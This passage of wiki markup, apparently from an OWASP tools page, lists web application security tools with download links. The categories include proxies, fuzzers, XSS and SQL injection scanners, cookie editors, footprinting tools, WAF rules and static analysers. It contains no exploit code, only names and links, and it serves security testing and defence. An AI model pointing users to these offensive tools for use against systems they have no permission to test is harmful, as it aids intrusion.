Web Developer Toolbar - https://addons.mozilla.org/firefox/60/&amp;lt;br /&amp;gt;&lt;br /&gt;
Plain Old Webserver (POW) - https://addons.mozilla.org/firefox/3002/&amp;lt;br /&amp;gt;&lt;br /&gt;
XML Developer Toolbar - https://addons.mozilla.org/firefox/2897/&amp;lt;br /&amp;gt;&lt;br /&gt;
Public Fox - https://addons.mozilla.org/firefox/3911/&amp;lt;br /&amp;gt;&lt;br /&gt;
XForms Buddy - http://beaufour.dk/index.php?sec=misc&amp;amp;pagename=xforms&amp;lt;br /&amp;gt;&lt;br /&gt;
MR Tech Local Install - http://www.mrtech.com/extensions/local_install/&amp;lt;br /&amp;gt;&lt;br /&gt;
Nightly Tester Tools - http://users.blueprintit.co.uk/~dave/web/firefox/buildid/index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
IE Tab - https://addons.mozilla.org/firefox/1419/&amp;lt;br /&amp;gt;&lt;br /&gt;
User-Agent Switcher - https://addons.mozilla.org/firefox/59/&amp;lt;br /&amp;gt;&lt;br /&gt;
ServerSwitcher - https://addons.mozilla.org/firefox/2409/&amp;lt;br /&amp;gt;&lt;br /&gt;
HeaderMonitor - https://addons.mozilla.org/firefox/575/&amp;lt;br /&amp;gt;&lt;br /&gt;
RefControl - https://addons.mozilla.org/firefox/953/&amp;lt;br /&amp;gt;&lt;br /&gt;
refspoof - https://addons.mozilla.org/firefox/667/&amp;lt;br /&amp;gt;&lt;br /&gt;
No-Referrer - https://addons.mozilla.org/firefox/1999/&amp;lt;br /&amp;gt;&lt;br /&gt;
LocationBar^2 - https://addons.mozilla.org/firefox/4014/&amp;lt;br /&amp;gt;&lt;br /&gt;
SpiderZilla - http://spiderzilla.mozdev.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
Slogger - https://addons.mozilla.org/en-US/firefox/addon/143&amp;lt;br /&amp;gt;&lt;br /&gt;
Fire Encrypter - https://addons.mozilla.org/firefox/3208/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Browser-based HTTP tampering / editing / replaying===&lt;br /&gt;
TamperIE - http://www.bayden.com/Other/&amp;lt;br /&amp;gt;&lt;br /&gt;
isr-form - http://www.infobyte.com.ar/developments.html&amp;lt;br /&amp;gt;&lt;br /&gt;
Modify Headers (Firefox Add-on) - http://modifyheaders.mozdev.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
Tamper Data (Firefox Add-on) - http://tamperdata.mozdev.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
UrlParams (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/1290/&amp;lt;br /&amp;gt;&lt;br /&gt;
TestGen4Web (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/1385/&amp;lt;br /&amp;gt;&lt;br /&gt;
DOM Inspector / Inspect This (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/1806/ https://addons.mozilla.org/en-US/firefox/addon/1913/&amp;lt;br /&amp;gt;&lt;br /&gt;
LiveHTTPHeaders / Header Monitor (Firefox Add-on) - http://livehttpheaders.mozdev.org/ https://addons.mozilla.org/en-US/firefox/addon/575/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Add-ons for Firefox that help with Javascript and Ajax web application security===&lt;br /&gt;
Selenium IDE - http://www.openqa.org/selenium-ide/&amp;lt;br /&amp;gt;&lt;br /&gt;
Firebug - http://www.joehewitt.com/software/firebug/&amp;lt;br /&amp;gt;&lt;br /&gt;
Venkman - http://www.mozilla.org/projects/venkman/&amp;lt;br /&amp;gt;&lt;br /&gt;
Chickenfoot - http://groups.csail.mit.edu/uid/chickenfoot/&amp;lt;br /&amp;gt;&lt;br /&gt;
Greasemonkey - http://www.greasespot.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Greasemonkey compiler - http://www.letitblog.com/greasemonkey-compiler/&amp;lt;br /&amp;gt;&lt;br /&gt;
User script compiler - http://arantius.com/misc/greasemonkey/script-compiler&amp;lt;br /&amp;gt;&lt;br /&gt;
Extension Developer's Extension (Firefox Add-on) - http://ted.mielczarek.org/code/mozilla/extensiondev/&amp;lt;br /&amp;gt;&lt;br /&gt;
Smart Middle Click (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/3885/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Bookmarklets that aid in web application security===&lt;br /&gt;
RSnake's security bookmarklets - http://ha.ckers.org/bookmarklets.html&amp;lt;br /&amp;gt;&lt;br /&gt;
BMlets - http://optools.awardspace.com/bmlet.html&amp;lt;br /&amp;gt;&lt;br /&gt;
Huge list of bookmarklets - http://www.squarefree.com/bookmarklets/&amp;lt;br /&amp;gt;&lt;br /&gt;
Blummy: consists of small widgets, called blummlets, which make use of Javascript to provide&lt;br /&gt;
rich functionality - http://www.blummy.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
Bookmarklets every blogger should have - http://www.micropersuasion.com/2005/10/bookmarklets_ev.html&amp;lt;br /&amp;gt;&lt;br /&gt;
Flat Bookmark Editing (Firefox Add-on) - http://n01se.net/chouser/proj/mozhack/&amp;lt;br /&amp;gt;&lt;br /&gt;
OpenBook and Update Bookmark (Firefox Add-ons) - http://www.chuonthis.com/extensions/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Footprinting for web application security===&lt;br /&gt;
Evolution - http://www.paterva.com/evolution-e.html&amp;lt;br /&amp;gt;&lt;br /&gt;
GooSweep - http://www.mcgrewsecurity.com/projects/goosweep/&amp;lt;br /&amp;gt;&lt;br /&gt;
Aura: Google API Utility Tools - http://www.sensepost.com/research/aura/&amp;lt;br /&amp;gt;&lt;br /&gt;
Edge-Security tools - http://www.edge-security.com/soft.php&amp;lt;br /&amp;gt;&lt;br /&gt;
Fierce Domain Scanner - http://ha.ckers.org/fierce/&amp;lt;br /&amp;gt;&lt;br /&gt;
Googlegath - http://www.nothink.org/perl/googlegath/&amp;lt;br /&amp;gt;&lt;br /&gt;
Advanced Dork (Firefox Add-on) - https://addons.mozilla.org/firefox/2144/&amp;lt;br /&amp;gt;&lt;br /&gt;
Passive Cache (Firefox Add-on) - https://addons.mozilla.org/firefox/977/&amp;lt;br /&amp;gt;&lt;br /&gt;
CacheOut! (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/1453/&amp;lt;br /&amp;gt;&lt;br /&gt;
BugMeNot Extension (Firefox Add-on) - http://roachfiend.com/archives/2005/02/07/bugmenot/&amp;lt;br /&amp;gt;&lt;br /&gt;
TrashMail.net Extension (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/1813/&amp;lt;br /&amp;gt;&lt;br /&gt;
DiggiDig (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/2819/&amp;lt;br /&amp;gt;&lt;br /&gt;
Digger (Firefox Add-on) - https://addons.mozilla.org/en-US/firefox/addon/1467/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
===SSL certificate checking / scanning===&lt;br /&gt;
SSL Labs - https://www.ssllabs.com/ssldb/&amp;lt;br /&amp;gt;&lt;br /&gt;
[ZIP] THCSSLCheck - http://thc.org/root/tools/THCSSLCheck.zip&amp;lt;br /&amp;gt;&lt;br /&gt;
[ZIP] Foundstone SSLDigger - http://www.foundstone.com/us/resources/termsofuse.asp?file=ssldigger.zip&amp;lt;br /&amp;gt;&lt;br /&gt;
Cert Viewer Plus (Firefox Add-on) - https://addons.mozilla.org/firefox/1964/&amp;lt;br /&amp;gt;&lt;br /&gt;
testssl.sh - http://drwetter.eu/software/ssl/&amp;lt;br /&amp;gt;&lt;br /&gt;
[[O-Saft]] - OWASP SSL audit for testers: list information about and test remote SSL certificate and connection [https://github.com/OWASP/O-Saft/archive/master.zip Download] &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===HTTP proxying / editing===&lt;br /&gt;
WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&amp;lt;br /&amp;gt;&lt;br /&gt;
Burp Suite - http://www.portswigger.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Paros - http://www.parosproxy.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
Paros fork #1: Zed Attack Proxy (ZAP) - http://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&amp;lt;br /&amp;gt;&lt;br /&gt;
Paros fork #2: Andiparos - http://code.google.com/p/andiparos/&amp;lt;br /&amp;gt;&lt;br /&gt;
Fiddler - http://www.fiddlertool.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
Web Proxy Editor - http://www.microsoft.com/mspress/companion/0-7356-2187-X/&amp;lt;br /&amp;gt;&lt;br /&gt;
Pantera - http://www.owasp.org/index.php/Category:OWASP_Pantera_Web_Assessment_Studio_Project&amp;lt;br /&amp;gt;&lt;br /&gt;
Suru - http://www.sensepost.com/research/suru/&amp;lt;br /&amp;gt;&lt;br /&gt;
httpedit (curses-based) - http://www.neutralbit.com/en/rd/httpedit/&amp;lt;br /&amp;gt;&lt;br /&gt;
Charles - http://www.xk72.com/charles/&amp;lt;br /&amp;gt;&lt;br /&gt;
Odysseus - http://www.bindshell.net/tools/odysseus&amp;lt;br /&amp;gt;&lt;br /&gt;
Burp, Paros, and WebScarab for Mac OS X - http://www.corsaire.com/downloads/&amp;lt;br /&amp;gt;&lt;br /&gt;
Web-application scanning tool from `Network Security Tools'/O'Reilly - http://examples.oreilly.com/networkst/&amp;lt;br /&amp;gt;&lt;br /&gt;
JS Commander - http://jscmd.rubyforge.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
Ratproxy - http://code.google.com/p/ratproxy/&amp;lt;br /&amp;gt;&lt;br /&gt;
Arachni - https://github.com/Zapotek/arachni/&amp;lt;br /&amp;gt;&lt;br /&gt;
WATOBO - http://watobo.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==RSnake's XSS cheat sheet based-tools, webapp fuzzing, and encoding tools==&lt;br /&gt;
Wfuzz - http://www.edge-security.com/wfuzz.php&amp;lt;br /&amp;gt;&lt;br /&gt;
ProxMon - http://www.isecpartners.com/proxmon.html&amp;lt;br /&amp;gt;&lt;br /&gt;
Wapiti - http://wapiti.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Grabber - http://rgaucher.info/beta/grabber/&amp;lt;br /&amp;gt;&lt;br /&gt;
XSSScan - http://darkcode.ath.cx/scanners/XSSscan.py&amp;lt;br /&amp;gt;&lt;br /&gt;
CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br /&amp;gt;&lt;br /&gt;
EnDe - http://www.owasp.org/index.php/Category:OWASP_EnDe&amp;lt;br /&amp;gt;&lt;br /&gt;
HTMangLe - http://www.fishnetsecurity.com/Tools/HTMangLe/publish.htm&amp;lt;br /&amp;gt;&lt;br /&gt;
JBroFuzz - http://www.owasp.org/index.php/JBroFuzz&amp;lt;br /&amp;gt;&lt;br /&gt;
J-Baah - http://www.sensepost.com/labs/tools/pentest/j-baah&amp;lt;br /&amp;gt;&lt;br /&gt;
XSSFuzz - http://ha.ckers.org/blog/20060921/xssfuzz-released/&amp;lt;br /&amp;gt;&lt;br /&gt;
WhiteAcid's XSS Assistant - http://www.whiteacid.org/greasemonkey/&amp;lt;br /&amp;gt;&lt;br /&gt;
Overlong UTF - http://www.microsoft.com/mspress/companion/0-7356-2187-X/&amp;lt;br /&amp;gt;&lt;br /&gt;
[TGZ] MielieTool (SensePost Research) - http://packetstormsecurity.org/UNIX/utilities/mielietools-v1.0.tgz&amp;lt;br /&amp;gt;&lt;br /&gt;
RegFuzzer: test your regular expression filter - http://rgaucher.info/b/index.php/post/2007/05/26/RegFuzzer%3A-Test-your-regular-expression-filter&amp;lt;br /&amp;gt;&lt;br /&gt;
screamingCobra - http://www.dachb0den.com/projects/screamingcobra.html&amp;lt;br /&amp;gt;&lt;br /&gt;
SPIKE and SPIKE Proxy - http://immunitysec.com/resources-freesoftware.shtml&amp;lt;br /&amp;gt;&lt;br /&gt;
RFuzz - http://rfuzz.rubyforge.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
WebFuzz - http://www.codebreakers-journal.com/index.php?option=com_content&amp;amp;task=view&amp;amp;id=112&amp;amp;Itemid=99999999&amp;lt;br /&amp;gt;&lt;br /&gt;
TestMaker - http://www.pushtotest.com/Docs/downloads/features.html&amp;lt;br /&amp;gt;&lt;br /&gt;
ASP Auditor - http://michaeldaw.org/projects/asp-auditor-v2/&amp;lt;br /&amp;gt;&lt;br /&gt;
WSTool - http://wstool.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Web Hack Control Center (WHCC) - http://ussysadmin.com/whcc/&amp;lt;br /&amp;gt;&lt;br /&gt;
Web Text Converter - http://www.microsoft.com/mspress/companion/0-7356-2187-X/&amp;lt;br /&amp;gt;&lt;br /&gt;
HackBar (Firefox Add-on) - https://addons.mozilla.org/firefox/3899/&amp;lt;br /&amp;gt;&lt;br /&gt;
Net-Force Tools (NF-Tools, Firefox Add-on) - http://www.net-force.nl/library/downloads/&amp;lt;br /&amp;gt;&lt;br /&gt;
PostIntercepter (Greasemonkey script) - http://userscripts.org/scripts/show/743&amp;lt;br /&amp;gt;&lt;br /&gt;
fuzzdb - https://code.google.com/p/fuzzdb/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===HTTP general testing / fingerprinting===&lt;br /&gt;
Wbox: HTTP testing tool - http://hping.org/wbox/&amp;lt;br /&amp;gt;&lt;br /&gt;
ht://Check - http://htcheck.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
WebInject - http://www.webinject.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
Torture.pl Home Page - http://stein.cshl.org/~lstein/torture/&amp;lt;br /&amp;gt;&lt;br /&gt;
JoeDog's Seige - http://www.joedog.org/JoeDog/Siege/&amp;lt;br /&amp;gt;&lt;br /&gt;
OPEN-LABS: metoscan (http method testing) - http://www.open-labs.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
Load-balancing detector - http://ge.mine.nu/lbd.html&amp;lt;br /&amp;gt;&lt;br /&gt;
HMAP - http://ujeni.murkyroc.com/hmap/&amp;lt;br /&amp;gt;&lt;br /&gt;
Net-Square: httprint - http://net-square.com/httprint/&amp;lt;br /&amp;gt;&lt;br /&gt;
Wpoison: http stress testing - http://wpoison.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Net-square: MSNPawn - http://net-square.com/msnpawn/index.shtml&amp;lt;br /&amp;gt;&lt;br /&gt;
hcraft: HTTP Vuln Request Crafter - http://druid.caughq.org/projects/hcraft/&amp;lt;br /&amp;gt;&lt;br /&gt;
rfp.labs: LibWhisker - http://www.wiretrip.net/rfp/lw.asp&amp;lt;br /&amp;gt;&lt;br /&gt;
Nikto - http://www.cirt.net/code/nikto.shtml&amp;lt;br /&amp;gt;&lt;br /&gt;
Websecurify - http://www.websecurify.com&amp;lt;br/&amp;gt;&lt;br /&gt;
W3AF: Web Application Attack and Audit Framework - http://w3af.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
twill - http://twill.idyll.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
DirBuster - http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project&amp;lt;br /&amp;gt;&lt;br /&gt;
[ZIP] DFF Scanner - http://security-net.biz/files/dff/DFF.zip&amp;lt;br /&amp;gt;&lt;br /&gt;
[ZIP] The Elza project - http://packetstormsecurity.org/web/elza-1.4.7-beta.zip ([http://www.stoev.org/elza.html dead link])&amp;lt;br /&amp;gt;&lt;br /&gt;
HackerFox and Hacking Addons Bundled: Portable Firefox with web hacking addons bundled - http://sf.net/projects/hackfox &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== dead, vanished links (March/2012) =====&lt;br /&gt;
Mumsie - http://www.secureworks.com/research/tools/mumsie/ ([http://www.lurhq.com/tools/mumsie.html dead link])&amp;lt;br /&amp;gt;&lt;br /&gt;
Torture.pl Home Page - source probably here http://www.foo.be/docs/tpj/issues/vol2_4/tpj0204-0002.html ([http://stein.cshl.org/~lstein/torture/ dead link])&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Cookie editing / poisoning===&lt;br /&gt;
[TGZ] stompy: session id tool - http://freecode.com/projects/stompy ([http://lcamtuf.coredump.cx/stompy.tgz old link])&amp;lt;br /&amp;gt;&lt;br /&gt;
Add'N Edit Cookies (AnEC, Firefox Add-on) - http://addneditcookies.mozdev.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
CookieCuller (Firefox Add-on) - http://cookieculler.mozdev.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
CookiePie (Firefox Add-on) - http://www.nektra.com/oss/firefox/extensions/cookiepie/&amp;lt;br /&amp;gt;&lt;br /&gt;
CookieSpy - http://www.codeproject.com/shell/cookiespy.asp&amp;lt;br /&amp;gt;&lt;br /&gt;
Cookies Explorer - http://www.dutchduck.com/Features/Cookies.aspx&amp;lt;br /&amp;gt;&lt;br /&gt;
Cookie Safe - https://addons.mozilla.org/de/firefox/addon/2497/ &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fuzzer==&lt;br /&gt;
===Browser-based security fuzzing / checking===&lt;br /&gt;
Zalewski's MangleMe - http://freecode.com/projects/mangleme tool see here http://lcamtuf.coredump.cx/soft/mangleme.tgz ([http://lcamtuf.coredump.cx/mangleme/mangle.cgi mangle.cgi dead link]) &amp;lt;br /&amp;gt;&lt;br /&gt;
hdm's tools: Hamachi, CSSDIE, DOM-Hanoi, AxMan - http://metasploit.com/users/hdm/tools/&amp;lt;br /&amp;gt;&lt;br /&gt;
Peach Fuzzer Framework - http://peachfuzzer.com/  ([http://peachfuzz.sourceforge.net old link])/&amp;lt;br /&amp;gt;&lt;br /&gt;
TagBruteForcer - http://research.eeye.com/html/tools/RT20060801-3.html&amp;lt;br /&amp;gt;&lt;br /&gt;
PROTOS Test-Suite: c05-http-reply - http://www.ee.oulu.fi/research/ouspg/protos/testing/c05/http-reply/index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
COMRaider - https://github.com/dzzie/COMRaider ([http://labs.idefense.com dead link])&amp;lt;br /&amp;gt;&lt;br /&gt;
BrowserCheck - http://www.heise-security.co.uk/services/browsercheck/&amp;lt;br /&amp;gt;&lt;br /&gt;
Stealing information using DNS pinning demo - http://www.jumperz.net/index.php?i=2&amp;amp;a=1&amp;amp;b=7&amp;lt;br /&amp;gt;&lt;br /&gt;
Javascript Website Login Checker - http://ha.ckers.org/weird/javascript-website-login-checker.html&amp;lt;br /&amp;gt;&lt;br /&gt;
Mozilla Activex - http://www.adamlock.com/mozilla/ ([http://www.iol.ie/~locka/mozilla/mozilla.htm old link])&amp;lt;br /&amp;gt;&lt;br /&gt;
Mr. T (Master Recon Tool, includes Read Firefox Settings PoC) - http://ha.ckers.org/mr-t/&amp;lt;br /&amp;gt;&lt;br /&gt;
Test your installation of Java software - http://java.com/en/download/installed.jsp?detect=jre&amp;amp;try=1&amp;lt;br /&amp;gt;&lt;br /&gt;
WebPageFingerprint - Light-weight Greasemonkey Fuzzer - http://userscripts.org/scripts/show/30285&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== dead, vanished links (March/2012) =====&lt;br /&gt;
bcheck - http://bcheck.scanit.be/bcheck/&amp;lt;br /&amp;gt;&lt;br /&gt;
Cross-browser Exploit Tests - http://www.jungsonnstudios.com/cool.php&amp;lt;br /&amp;gt;&lt;br /&gt;
Jungsonn's Black Dragon Project - http://blackdragon.jungsonnstudios.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
Vulnerable Adobe Plugin Detection For UXSS PoC - http://www.0x000000.com/?i=324&amp;lt;br /&amp;gt;&lt;br /&gt;
About Flash: is your flash up-to-date? - http://www.macromedia.com/software/flash/about/&amp;lt;br /&amp;gt;&lt;br /&gt;
Stop-Phishing: Projects page - http://www.indiana.edu/~phishing/?projects&amp;lt;br /&amp;gt;&lt;br /&gt;
LinkScanner - &amp;lt;nowiki&amp;gt;http://linkscanner.explabs.com/linkscanner/default.asp&amp;lt;/nowiki&amp;gt; (seems to be a vendor link now)&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Application and protocol fuzzing (random instead of targeted)===&lt;br /&gt;
Sulley - http://fuzzing.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
taof: The Art of Fuzzing - http://sourceforge.net/projects/taof/&amp;lt;br /&amp;gt;&lt;br /&gt;
zzuf: multipurpose fuzzer - http://sam.zoy.org/zzuf/&amp;lt;br /&amp;gt;&lt;br /&gt;
autodafé: an act of software torture - http://autodafe.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== dead, vanished links (March/2012) =====&lt;br /&gt;
EFS and GPF: Evolutionary Fuzzing System - http://www.appliedsec.com/resources.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Ajax and XHR scanning==&lt;br /&gt;
Sahi - http://sahi.co.in/&amp;lt;br /&amp;gt;&lt;br /&gt;
scRUBYt - http://scrubyt.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
jQuery - http://jquery.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
jquery-include - http://www.gnucitizen.org/projects/jquery-include&amp;lt;br /&amp;gt;&lt;br /&gt;
Sprajax - http://www.denimgroup.com/sprajax.html&amp;lt;br /&amp;gt;&lt;br /&gt;
Watir - http://wtr.rubyforge.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
Watij - http://watij.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
Watin - http://watin.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
RBNarcissus - http://idontsmoke.co.uk/2005/rbnarcissus/&amp;lt;br /&amp;gt;&lt;br /&gt;
SpiderTest (Spider Fuzz plugin) - http://blog.caboo.se/articles/2007/2/21/the-fabulous-spider-fuzz-plugin&amp;lt;br /&amp;gt;&lt;br /&gt;
Javascript Inline Debugger (jasildbg) - http://jasildbg.googlepages.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
Firebug Lite - http://www.getfirebug.com/lite.html&amp;lt;br /&amp;gt;&lt;br /&gt;
firewaitr - http://code.google.com/p/firewatir/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==SQL injection scanning==&lt;br /&gt;
0x90.org: home of Absinthe, Mezcal, etc - http://0x90.org/releases.php&amp;lt;br /&amp;gt;&lt;br /&gt;
SQLiX - http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project&amp;lt;br /&amp;gt;&lt;br /&gt;
sqlninja: a SQL Server injection and takover tool - http://sqlninja.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
JustinClarke's SQL Brute - http://www.justinclarke.com/archives/2006/03/sqlbrute.html&amp;lt;br /&amp;gt;&lt;br /&gt;
BobCat - http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html&amp;lt;br /&amp;gt;&lt;br /&gt;
sqlmap - http://sqlmap.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Scully: SQL Server DB Front-End and Brute-Forcer - http://www.sensepost.com/research/scully/&amp;lt;br /&amp;gt;&lt;br /&gt;
FG-Injector - http://www.flowgate.net/?lang=en&amp;amp;seccion=herramientas&amp;lt;br /&amp;gt;&lt;br /&gt;
PRIAMOS - http://www.priamos-project.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Web services enumeration / scanning / fuzzing==&lt;br /&gt;
WebServiceStudio2.0 - http://www.codeplex.com/WebserviceStudio&amp;lt;br /&amp;gt;&lt;br /&gt;
Net-square: wsChess - http://net-square.com/wschess/index.shtml&amp;lt;br /&amp;gt;&lt;br /&gt;
WSFuzzer - http://www.owasp.org/index.php/Category:OWASP_WSFuzzer_Project&amp;lt;br /&amp;gt;&lt;br /&gt;
SIFT: web method search tool - http://www.sift.com.au/73/171/sift-web-method-search-tool.htm&amp;lt;br /&amp;gt;&lt;br /&gt;
iSecPartners: WSMap, WSBang, etc - http://www.isecpartners.com/tools.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==3rd party services that aid in web application security assessment==&lt;br /&gt;
Netcraft - http://www.netcraft.net&amp;lt;br /&amp;gt;&lt;br /&gt;
AboutURL - http://www.abouturl.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
The Scrutinizer - http://www.scrutinizethis.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
net.toolkit - http://clez.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
ServerSniff - http://www.serversniff.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Online Microsoft script decoder - http://www.greymagic.com/security/tools/decoder/&amp;lt;br /&amp;gt;&lt;br /&gt;
Webmaster-Toolkit - http://www.webmaster-toolkit.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
myIPNeighbbors, et al - http://digg.com/security/MyIPNeighbors_Find_Out_Who_Else_is_Hosted_on_Your_Site_s_IP_Address&amp;lt;br /&amp;gt;&lt;br /&gt;
PHP charset encoding - http://h4k.in/encoding&amp;lt;br /&amp;gt;&lt;br /&gt;
data: URL testcases - http://h4k.in/dataurl&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Server side stuff=&lt;br /&gt;
==PHP static analysis and file inclusion scanning==&lt;br /&gt;
Pixy: Open source flow based discovery of XSS and SQLi - http://pixybox.seclab.tuwien.ac.at/pixy/&amp;lt;br /&amp;gt;&lt;br /&gt;
PHP-SAT.org: Static analysis for PHP - http://www.program-transformation.org/PHP/&amp;lt;br /&amp;gt;&lt;br /&gt;
Unl0ck Research Team: tool for searching in google for include bugs - http://unl0ck.net/tools.php&amp;lt;br /&amp;gt;&lt;br /&gt;
FIS: File Inclusion Scanner - http://www.segfault.gr/index.php?cat_id=3&amp;amp;cont_id=25&amp;lt;br/&amp;gt;&lt;br /&gt;
PHPSecAudit - http://developer.spikesource.com/projects/phpsecaudit&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==PHP Defensive Tools==&lt;br /&gt;
PHPInfoSec - Check phpinfo configuration for security - http://phpsec.org/projects/phpsecinfo/ &amp;lt;br /&amp;gt;&lt;br /&gt;
Greasemonkey Replacement can be found at http://yehg.net/lab/#tools.greasemonkey &amp;lt;br /&amp;gt;&lt;br /&gt;
Php-Brute-Force-Attack Detector - Detect your web servers being scanned by brute force tools - http://yehg.net/lab/pr0js/files.php/php_brute_force_detect.zip &amp;lt;br /&amp;gt;&lt;br /&gt;
PHP-Login-Info-Checker (Strictly enforce admins/users to select stronger passwords via url loginfo_checker.php?testlic) - http://yehg.net/lab/pr0js/files.php/loginfo_checkerv0.1.zip, http://yehg.net/lab/pr0js/files.php/phploginfo_checker_demo.zip &amp;lt;br /&amp;gt;&lt;br /&gt;
php-DDOS-Shield (prevent idiot distributed bots which discontinue their flooding attacks by identifying HTTP 503 header code) - http://code.google.com/p/ddos-shield/ &amp;lt;br /&amp;gt;&lt;br /&gt;
PHPMySpamFIGHTER - http://yehg.net/lab/pr0js/files.php/phpmyspamfighter.zip, http://yehg.net/lab/pr0js/files.php/phpMySpamFighter_demo.rar &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Web Application Firewall (WAF) and Intrusion Detection (APIDS) rules and resources==&lt;br /&gt;
APIDS on Wikipedia - http://en.wikipedia.org/wiki/APIDS&amp;lt;br /&amp;gt;&lt;br /&gt;
PHP Intrusion Detection System (PHP-IDS) - http://php-ids.org/ http://code.google.com/p/phpids/&amp;lt;br /&amp;gt;&lt;br /&gt;
dotnetids - http://code.google.com/p/dotnetids/&amp;lt;br /&amp;gt;&lt;br /&gt;
Secure Science InterScout - http://www.securescience.com/home/newsandevents/news/interscout1.0.html&amp;lt;br /&amp;gt;&lt;br /&gt;
Remo: whitelist rule editor for mod_security - http://remo.netnea.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
GotRoot: ModSecuirty rules - http://www.gotroot.com/tiki-index.php?page=mod_security+rules&amp;lt;br /&amp;gt;&lt;br /&gt;
The Web Security Gateway (WSGW) - http://wsgw.sourceforge.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
mod_security rules generator - http://noeljackson.com/tools/modsecurity/&amp;lt;br /&amp;gt;&lt;br /&gt;
Mod_Anti_Tamper - http://www.wisec.it/projects.php?id=3&amp;lt;br /&amp;gt;&lt;br /&gt;
[TGZ] Automatic Rules Generation for Mod_Security - http://www.wisec.it/rdr.php?fn=/Projects/Rule-o-matic.tgz&amp;lt;br /&amp;gt;&lt;br /&gt;
AQTRONIX WebKnight - http://www.aqtronix.com/?PageID=99&amp;lt;br /&amp;gt;&lt;br /&gt;
Akismet: blog spam defense - http://akismet.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
Samoa: Formal tools for securing web services - http://research.microsoft.com/projects/samoa/&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Code=&lt;br /&gt;
==Web application non-specific static source-code analysis==&lt;br /&gt;
Pixy: a static analysis tool for detecting XSS vulnerabilities - http://www.seclab.tuwien.ac.at/projects/pixy/&amp;lt;br /&amp;gt;&lt;br /&gt;
Brixoft.Net: Source Edit - http://www.brixoft.net/prodinfo.asp?id=1&amp;lt;br /&amp;gt;&lt;br /&gt;
Security compass web application auditing tools (SWAAT) - http://www.owasp.org/index.php/Category:OWASP_SWAAT_Project&amp;lt;br /&amp;gt;&lt;br /&gt;
